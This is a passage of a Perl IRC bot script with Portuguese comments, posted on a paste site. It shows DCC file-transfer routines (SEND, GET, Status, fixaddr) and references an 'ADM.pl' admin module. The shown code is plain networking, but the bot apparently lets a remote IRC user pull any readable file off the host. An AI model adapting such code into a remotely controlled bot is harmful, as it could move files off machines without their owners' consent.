  802.           $DCC{$send}{porta} = $send->peerport;
  803.           $DCC{$send}{status} = "Enviando";
  804.  
  805.           #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  806.           open(FILE, "< $arquivo");
  807.           my $fbytes;
  808.           read(FILE, $fbytes, 1024);
  809.           print $send "$fbytes";
  810.           close FILE;
  811. #          delete($DCC{$fh});
  812.      } elsif ($dcctipo eq 'sendcon') {
  813.           my $bytes_sended = unpack("N", $msg);
  814.           $DCC{$fh}{curbyte} = $bytes_sended;
  815.           if ($bytes_sended == $bytes) {
  816.              $fh->close;
  817.              $dcc_sel->remove($fh);
  818.              $DCC{$fh}{status} = "Enviado";
  819.              $DCC{$fh}{ftime} = time;
  820.              next;
  821.           }
  822.           open(SENDFILE, "< $arquivo");
  823.           seek(SENDFILE, $bytes_sended, 0);
  824.           my $send_bytes;
  825.           read(SENDFILE, $send_bytes, 1024);
  826.           print $fh "$send_bytes";
  827.           close(SENDFILE);
  828.      }
  829.    }
  830. }
  831.  
  832.  
  833. sub SEND {
  834.   my ($nick, $arquivo) = @_;
  835.   unless (-r "$arquivo") {
  836.     return(0);
  837.   }
  838.  
  839.   my $dccark = $arquivo;
  840.   $dccark =~ s/[.*\/](\S+)/$1/;
  841.  
  842.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  843.   my $longip = unpack("N",inet_aton($meuip));
  844.  
  845.   my @filestat = stat($arquivo);
  846.   my $size_total=$filestat[7];
  847.   if ($size_total == 0) {
  848.      return(0);
  849.   }
  850.  
  851.   my ($porta, $sendsock);
  852.   do {
  853.     $porta = int rand(64511);
  854.     $porta += 1024;
  855.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  856.   } until $sendsock;
  857.  
  858.   $DCC{$sendsock}{tipo} = 'send';
  859.   $DCC{$sendsock}{nick} = $nick;
  860.   $DCC{$sendsock}{bytes} = $size_total;
  861.   $DCC{$sendsock}{arquivo} = $arquivo;
  862.  
  863.  
  864.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  865.  
  866. }
  867.  
  868. sub GET {
  869.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  870.   return(0) if (-e "$arquivo");
  871.   if (open(FILE, "> $arquivo")) {
  872.      close FILE;
  873.   } else {
  874.     return(0);
  875.   }
  876.  
  877.   my $dccip=fixaddr($dcclongip);
  878.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  879.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  880.   $dccsock->autoflush(1);
  881.   $dcc_sel->add($dccsock);
  882.   $DCC{$dccsock}{tipo} = 'get';
  883.   $DCC{$dccsock}{itime} = time;
  884.   $DCC{$dccsock}{nick} = $nick;
  885.   $DCC{$dccsock}{bytes} = $bytes;
  886.   $DCC{$dccsock}{curbyte} = 0;
  887.   $DCC{$dccsock}{arquivo} = $arquivo;
  888.   $DCC{$dccsock}{ip} = $dccip;
  889.   $DCC{$dccsock}{porta} = $dccporta;
  890.   $DCC{$dccsock}{status} = "Recebendo";
  891. }
  892.  
  893. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  894. sub Status {
  895.   my $socket = shift;
  896.   my $sock_tipo = $DCC{$socket}{tipo};
  897.   unless (lc($sock_tipo) eq "chat") {
  898.     my $nick = $DCC{$socket}{nick};
  899.     my $arquivo = $DCC{$socket}{arquivo};
  900.     my $itime = $DCC{$socket}{itime};
  901.     my $ftime = time;
  902.     my $status = $DCC{$socket}{status};
  903.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  904.  
  905.     my $d_time = $ftime-$itime;
  906.  
  907.     my $cur_byte = $DCC{$socket}{curbyte};
  908.     my $bytes_total =  $DCC{$socket}{bytes};
  909.  
  910.     my $rate = 0;
  911.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  912.     my $porcen = ($cur_byte*100)/$bytes_total;
  913.  
  914.     my ($r_duv, $p_duv);
  915.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  916.        $r_duv = $3; $r_duv++ if $4 >= 5;
  917.        $rate = "$1\.$2"."$r_duv";
  918.     }
  919.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  920.        $p_duv = $3; $p_duv++ if $4 >= 5;
  921.        $porcen = "$1\.$2"."$p_duv";
  922.     }
  923.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  924.   }
  925.  
  926.  
  927.   return(0);
  928. }
  929.  
  930.  
  931. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  932. sub fixaddr {
  933.     my ($address) = @_;
  934.  
  935.     chomp $address;     # just in case, sigh.
  936.     if ($address =~ /^\d+$/) {
  937.         return inet_ntoa(pack "N", $address);
  938.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  939.         return $address;
  940.     } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
  941.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  942.     } else {
  943.         return;
  944.     }
  945. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement